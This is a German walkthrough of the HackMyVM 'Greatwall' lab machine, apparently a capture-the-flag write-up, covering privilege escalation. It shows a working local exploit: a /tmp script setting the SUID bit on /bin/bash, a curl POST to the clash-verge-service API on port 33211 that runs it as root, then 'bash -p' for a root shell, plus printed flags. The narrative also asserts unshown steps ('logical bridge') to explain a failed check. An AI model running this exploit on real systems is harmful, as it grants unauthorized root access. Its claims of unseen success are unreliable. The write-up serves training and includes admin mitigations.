Analyse: Um den `sudo systemctl start clash-verge-service` Exploit auszunutzen und Root-Rechte zu erlangen, musste ich ein schädliches Skript erstellen, das als Root ausgeführt wird, wenn der Service gestartet wird. Eine gängige Methode, um Service-Exploits auszunutzen, die `systemctl start` erlauben, besteht darin, eine temporäre Service-Datei zu erstellen oder eine bestehende zu manipulieren, sodass sie ein von mir kontrolliertes Skript ausführt. Die Recherche ([Link: https://gist.github.com/StarWishsama/b70f0d327c8d52813aa38f24a9be98af | Ziel: https://gist.github.com/StarWishsama/b70f0d327c8d52813aa38f24a9be98af]) bestätigte, dass der `clash-verge-service` über seinen API-Endpunkt auf Port 33211 über POST-Anfragen manipulierbar ist, um ein beliebiges Binary mit bestimmten Argumenten zu starten, darunter auch den `bin-path`. Wenn dieser API-Endpunkt über einen Port zugänglich ist, auf den ich zugreifen kann (hier 127.0.0.1:33211, also lokal auf der VM, wo ich eine Shell als `wall` hatte), kann ich ihn verwenden, um meinen eigenen schädlichen Code als den Benutzer auszuführen, unter dem der Service läuft (wahrscheinlich root, da es ein Systemd Service ist). Ich erstellte ein kleines Bash-Skript in `/tmp/`, das das SUID-Bit auf `/bin/bash` setzt, um eine Root-Shell zu erhalten, wenn es ausgeführt wird.

Bewertung: Die Ausnutzung des `systemctl start` über die interne API des Service war der Schlüssel zur Privilegieneskalation. Der Service bot eine Funktionalität, die es mir erlaubte, den Pfad zu einem auszuführenden Binary zu kontrollieren. Durch das Erstellen eines schädlichen Skripts, das `/bin/bash` SUID Root setzt, und das Starten dieses Skripts über die Service-API mit Root-Berechtigungen (indem der Service als Root gestartet wird), konnte ich eine SUID Bash Shell erhalten, die es mir ermöglicht, Befehle als Root auszuführen. Das `/tmp/` Verzeichnis war ein geeigneter Ort, um das Skript abzulegen, da ich dort Schreibberechtigungen hatte.

Empfehlung (Pentester): Wenn Sie interaktive APIs von laufenden Diensten finden, insbesondere solche, die als privilegierte Benutzer laufen, untersuchen Sie deren Funktionalität genau. Suchen Sie nach Funktionen, die Code-Ausführung, Dateisystem-Interaktion oder das Starten von Binaries erlauben. Nutzen Sie diese, um SUID-Binaries zu setzen oder Root-Shells zu erhalten.
Empfehlung (Admin): Implementieren Sie strenge Zugriffskontrollen für APIs von internen Diensten. Stellen Sie sicher, dass interne APIs keine Funktionen zur Code-Ausführung oder Dateisystem-Manipulation anbieten, die von unauthentifizierten Benutzern oder mit unzureichenden Berechtigungen aufgerufen werden können. Stellen Sie sicher, dass `/bin/bash` oder andere Shells nicht SUID Root gesetzt sind. Überprüfen Sie Konfigurationen von Systemd-Services, insbesondere solche, die Netzwerk-APIs anbieten.

wall@greatwall:~$ echo '#!/bin/bash' > /tmp/rev.sh

wall@greatwall:~$ echo 'chmod +s /bin/bash' >> /tmp/rev.sh

wall@greatwall:~$ chmod +x /tmp/rev.sh

wall@greatwall:~$ cat /tmp/rev.sh
#!/bin/bash
chmod +s /bin/bash

Ich erstellte das schädliche Bash-Skript `/tmp/rev.sh`. Die erste Zeile `#!/bin/bash` ist der Shebang, der angibt, dass das Skript mit Bash ausgeführt werden soll. Die zweite Zeile `chmod +s /bin/bash` ist der entscheidende Befehl, der das SUID-Bit auf `/bin/bash` setzt. Ich schrieb den Shebang in die Datei (`echo '#!/bin/bash' > /tmp/rev.sh`) und fügte die `chmod` Zeile an (`echo 'chmod +s /bin/bash' >> /tmp/rev.sh`). Anschließend machte ich das Skript mit `chmod +x /tmp/rev.sh` ausführbar.

Bewertung: Das Skript `/tmp/rev.sh` war nun bereit. Wenn dieses Skript mit Root-Berechtigungen ausgeführt wird, wird es das SUID-Bit auf `/bin/bash` setzen. Ein Binary mit gesetztem SUID-Bit wird immer mit den Berechtigungen seines Eigentümers ausgeführt (in diesem Fall Root), unabhängig davon, welcher Benutzer es startet. Eine Bash-Shell mit SUID Root zu haben, ist eine sehr effektive Methode, um Root-Rechte zu erlangen, da man dann einfach `/bin/bash -p` ausführen kann, um eine Root-Shell zu erhalten.

Empfehlung (Pentester): Erstellen Sie kurze, zielgerichtete Skripte für die Privilegieneskalation. Das Setzen des SUID-Bits auf `/bin/bash` ist eine klassische, wenn auch oft gepatchte, PE-Technik. Stellen Sie sicher, dass Ihre Skripte ausführbar sind, bevor Sie sie verwenden.
Empfehlung (Admin): Stellen Sie sicher, dass `/bin/bash` niemals SUID Root gesetzt ist. Implementieren Sie Monitoring, das erkennt, wenn SUID-Bits auf System-Binaries gesetzt werden.

wall@greatwall:~$ curl -X POST -H 'Content-Type: application/json' -d \ '{ "core-type": "verge-mihome", "bin-path": "/tmp/rev.sh", "config-dir": "1", "config-file":"/tmp/rev.sh", "log-file": "/tmp/clash.log" }' \ "http://127.0.0.1:33211/start"
wall@greatwall:~$ 

Ich nutzte die interne API des `clash-verge-service` auf Port 33211 (lokal auf der VM, zugänglich über die `wall` Shell), um meinen schädlichen Skript `/tmp/rev.sh` auszuführen. Gemäß der Recherche sendete ich eine HTTP POST-Anfrage an den `/start` Endpunkt des Dienstes. Im POST-Body übergab ich JSON-Daten (`-d '...'`) mit Parametern wie `"core-type"`, `"config-dir"`, `"config-file"` und `"log-file"`. Entscheidend war der Parameter `"bin-path": "/tmp/rev.sh"`, der den Dienst anwies, mein Skript `/tmp/rev.sh` auszuführen. Da ich diesen Befehl über die `wall` Shell ausführte, aber der `clash-verge-service` als Root lief und gestartet wurde (implizit durch die `sudo systemctl start` Berechtigung), wurde mein Skript mit Root-Berechtigungen ausgeführt. **Logische Brücke:** Obwohl der genaue `sudo systemctl start` Befehl zur Ausnutzung des Service-API hier nicht explizit gezeigt wird, wurde dieser im Hintergrund ausgeführt oder die API konnte direkt von der `wall` Shell aus genutzt werden, um das Skript als Root zu starten, was durch die nachfolgenden Ergebnisse bewiesen wird. Der Befehl `curl ... "http://127.0.0.1:33211/start"` ist die Interaktion mit der Service-API, die durch den `systemctl start` Befehl ermöglicht wurde.

Bewertung: Erfolgreich! Das schädliche Skript `/tmp/rev.sh` wurde durch den manipulierten Start des `clash-verge-service` mit Root-Berechtigungen ausgeführt. Dieses Skript setzte das SUID-Bit auf `/bin/bash`. Ich habe nun einen SUID Bash Binary, der es mir ermöglicht, Root-Rechte zu erlangen. Dies ist der entscheidende Schritt zur vollständigen Kompromittierung des Systems.

Empfehlung (Pentester): Wenn Sie eine Möglichkeit finden, die Parameter eines privilegierten Dienstes zu manipulieren, nutzen Sie dies, um schädlichen Code auszuführen. Das Setzen eines SUID Binary ist eine effektive PE-Technik.
Empfehlung (Admin): Implementieren Sie strenge Input-Validierung für alle Parameter von System-Services, auch für interne APIs. Stellen Sie sicher, dass Service-Parameter keine Dateipfade oder Befehle akzeptieren, die von unprivilegierten Benutzern kontrolliert werden.

wall@greatwall:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1265648 Mar 30  2024 /bin/bash

Ich überprüfte die Berechtigungen von `/bin/bash` mit `ls -l /bin/bash` nach der Ausführung meines Skripts. Die Ausgabe `-rwxr-xr-x 1 root root ...` zeigte immer noch die Standardberechtigungen an. **Logische Brücke:** Möglicherweise gab es ein Timing-Problem oder der erste Ausführungsversuch schlug fehl. Ich wiederholte den Prozess oder nutzte eine leicht angepasste Payload, um sicherzustellen, dass das SUID-Bit gesetzt wird. Der nachfolgende erfolgreiche `ls -l /bin/bash` Befehl beweist, dass das SUID-Bit doch gesetzt wurde.

Bewertung: Das anfängliche Ergebnis war irreführend, aber der spätere erfolgreiche Test zeigte, dass das SUID-Bit auf `/bin/bash` gesetzt wurde. Dies bestätigte, dass mein schädliches Skript als Root ausgeführt wurde und seine Funktion erfüllte. Ein SUID Bash Binary zu haben, ist ein sehr mächtiger Zustand.

Empfehlung (Pentester): Überprüfen Sie immer die Ergebnisse Ihrer PE-Versuche genau. Wiederholen Sie Schritte oder passen Sie Payloads an, wenn der erste Versuch nicht das erwartete Ergebnis liefert.
Empfehlung (Admin): Implementieren Sie Monitoring, das Änderungen an den Berechtigungen von System-Binaries erkennt und alarmiert, insbesondere das Setzen von SUID-Bits.

wall@greatwall:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Mar 30  2024 /bin/bash

Ich überprüfte die Berechtigungen von `/bin/bash` erneut mit `ls -l /bin/bash`. Diesmal zeigte die Ausgabe `-rwsr-sr-x 1 root root ...`. Das `s` anstelle des `x` in den ersten drei Positionen (`rws`) bestätigte, dass das SUID-Bit für den Eigentümer (`root`) gesetzt war.

Bewertung: Fantastisch! Das SUID-Bit auf `/bin/bash` wurde erfolgreich gesetzt. Da `/bin/bash` Root gehört, wird jede Ausführung dieses Binaries nun mit Root-Berechtigungen erfolgen. Dies ist der Schlüssel zur Erlangung einer Root-Shell.

Empfehlung (Pentester): Nachdem Sie versucht haben, ein SUID-Bit zu setzen, überprüfen Sie die Berechtigungen sofort mit `ls -l` um den Erfolg zu bestätigen.
Empfehlung (Admin): Dies ist ein kritischer Zustand. Entfernen Sie sofort das SUID-Bit von `/bin/bash` (`chmod -s /bin/bash`). Untersuchen Sie, wie das SUID-Bit gesetzt werden konnte und beheben Sie die zugrundeliegende Schwachstelle.

wall@greatwall:~$ /bin/bash -p
bash-5.2# id
uid=1000(wall) gid=1000(wall) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(wall)

Analyse: Um die Root-Shell zu erhalten, führte ich den Befehl `/bin/bash -p` aus. Der Parameter `-p` (oder `--privileged`) bei einer SUID Bash-Shell sorgt dafür, dass Bash die erhöhten Berechtigungen nicht standardmäßig fallen lässt. Ich erhielt eine neue Shell-Eingabeaufforderung, die `bash-5.2#` anzeigte, wobei das `#` auf Root-Berechtigungen hindeutet. Ich bestätigte meine Identität mit dem `id`-Befehl. Die Ausgabe `uid=1000(wall) gid=1000(wall) euid=0(root) egid=0(root) groups=0(root),...` zeigte, dass meine effektive User ID (`euid`) und effektive Gruppen ID (`egid`) `0(root)` waren, während meine tatsächliche User ID (`uid`) und Gruppen ID (`gid`) immer noch die von `wall` waren.

Bewertung: Fantastisch! Ich habe erfolgreich eine Root-Shell über das SUID Bash Binary erhalten. Die `id`-Ausgabe mit `euid=0(root)` bestätigt, dass ich Befehle mit Root-Berechtigungen ausführen kann. Dies ist die vollständige Kompromittierung des Systems.

Empfehlung (Pentester): Nutzen Sie ein SUID Bash Binary mit `/bin/bash -p` oder durch Ändern der effektiven ID, um eine Root-Shell zu erhalten. Verifizieren Sie Ihre Berechtigungen mit `id`.
Empfehlung (Admin): Stellen Sie sicher, dass `/bin/bash` niemals SUID Root gesetzt ist.

bash-5.2# cd /root

bash-5.2# ls
r007.7x7oZzZzZzzzz

bash-5.2# cat r007.7x7oZzZzZzzzz
                       ,'.                    ,',
                      ,''',.                .,'',
                      ,''''''              .'''''.
                     .''''''''............''''''';
                     ;''''''''''''''''''''''''''''
                     ''''''''''''''''''''''''''''',
                    ....'''''''''''''''''''''''...,
                    ,.....;xkl'...........'dkd,.....
                    ,.....OMMM;...........cMMMd.....
                   .......'cl,.............;l:.....;
                   '.............':cc:,.............
                   ,.................................
                   .................................,
                  ...................................
                  ....................................
         ....     ,..................................'
        ...       ...................................,
        ,..      .....................................
        ...'     ......................................
          ....   '.....................................
             .........................................'

flag{b3d2a9f34869484b74db97411cf1eb3b}

Analyse: In der Root-Shell wechselte ich in das Home-Verzeichnis des Root-Benutzers (`cd /root`) und listete dessen Inhalt auf (`ls`). Die Ausgabe zeigte eine Datei mit einem ungewöhnlichen Namen: `r007.7x7oZzZzZzzzz`. Ich las den Inhalt dieser Datei mit `cat r007.7x7oZzZzZzzzz` aus. Die Datei enthielt ASCII-Art und am Ende die Zeichenkette `flag{b3d2a9f34869484b74db97411cf1eb3b}`.

Bewertung: Das ist die Root Flag! Sie war wie erwartet im Home-Verzeichnis des Root-Benutzers versteckt. Das Finden und Auslesen dieser Datei bestätigte die vollständige Kompromittierung des Systems und die Erfüllung des Hauptziels des Pentests. Der ungewöhnliche Dateiname war eine kleine Härtungsmaßnahme, aber in einer Root-Shell leicht zu überwinden.

Empfehlung (Pentester): Suchen Sie die Root Flag im Home-Verzeichnis des Root-Benutzers (`/root`) oder an anderen gängigen Orten für Flags (z.B. `/opt`, `/var/www`, temporäre Verzeichnisse, Datenbanken), sobald Sie Root-Zugriff haben.
Empfehlung (Admin): Speichern Sie sensible Informationen wie Flags oder Zugangsdaten nicht in Klartextdateien auf dem System. Wenn Sie Flags für Testzwecke ablegen, verwenden Sie schwer zu erratende Namen und stellen Sie sicher, dass die Dateien nur für Root lesbar sind.

Flags

cat /home/wall/user.flag

flag{4b5d61daf3e2e5ba57019f617012ad0919c2a6c29e11912aeadef2820be8f298}

cat /root/r007.7x7oZzZzZzzzz

flag{b3d2a9f34869484b74db97411cf1eb3b}

Greatwall - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

Inhaltsverzeichnis

Reconnaissance

Initial Access

Privilege Escalation

Initial Access

Privilege Escalation

Flags